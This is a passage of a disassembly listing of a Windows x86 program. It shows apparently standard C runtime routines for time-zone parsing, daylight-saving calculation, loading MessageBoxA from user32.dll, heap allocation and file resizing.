		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28B06F1h
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2610AF2h
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DBC40, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DBC40

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DBB88, ebp
		mov	dword_43D430, ebx
		mov	dword_43D420, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DBB90
		call	near ptr 2870000h
		nop
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DBB90
		mov	ecx, dword_4DBBE4
		imul	eax, 3Ch
		cmp	word_4DBBD6, bp
		push	1
		pop	edx
		mov	dword_43D388, eax
		mov	dword_4DBB88, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43D388, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DBC2A, bp
		jz	short loc_424887
		mov	eax, dword_4DBC38
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43D38C, edx
		imul	eax, 3Ch
		mov	dword_43D390, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43D38C, ebp
		mov	dword_43D390, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43D414
		push	ebx
		push	offset dword_4DBB94
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43D414
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43D414
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43D418
		push	ebx
		push	offset dword_4DBBE8
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43D418
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DBC3C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DBC3C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DBC3C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43D414
		call	sub_41B5F0
		mov	eax, off_43D414
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43D388, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43D388, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43D38C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43D418
		call	sub_41B5F0
		mov	eax, off_43D418
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43D418
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43D38C, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43D420
		jnz	short loc_424A7C
		cmp	eax, dword_43D430
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DBB88, edi
		jz	loc_424B54
		movzx	ecx, word_4DBC36
		push	ecx
		cmp	word_4DBC28, di
		movzx	ecx, word_4DBC34
		push	ecx
		movzx	ecx, word_4DBC32
		push	ecx
		movzx	ecx, word_4DBC30
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DBC2C
		push	edi
		push	ecx
		movzx	ecx, word_4DBC2E
		push	ecx
		movzx	ecx, word_4DBC2A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DBC2E
		push	ecx
		push	edi
		movzx	ecx, word_4DBC2A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DBBE2
		add	esp, 2Ch
		cmp	word_4DBBD4, di
		push	eax
		movzx	eax, word_4DBBE0
		push	eax
		movzx	eax, word_4DBBDE
		push	eax
		movzx	eax, word_4DBBDC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DBBD8
		push	edi
		push	eax
		movzx	eax, word_4DBBDA
		push	eax
		movzx	eax, word_4DBBD6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DBBDA
		push	eax
		push	edi
		movzx	eax, word_4DBBD6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43D424
		mov	eax, dword_43D434
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43D428
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43D438
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43D438[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43D46C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43D43C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43D470[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43D438[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43D46C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43D424, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43D420, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D428, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43D434, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43D390
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D438, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43D438, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43D438, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43D434, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43D430, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DCEC1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C9E2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBC44, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26D0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBC44, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBC48, eax
		call	esi
		mov	dword_4DBC4C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DBC48
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DBC4C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBC44


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DCFE0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C9D4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DCFE4
		call	near ptr 27C0000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB9DC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DCC80, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DBC78
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DBC78
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DCDA0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB95C, 5
		jnz	short loc_424FDC
		mov	dword_4DB958, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2610000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB958, 0Dh
		nop
		call	near ptr 26A08EAh
		mov	dword_4DB95C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB958, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
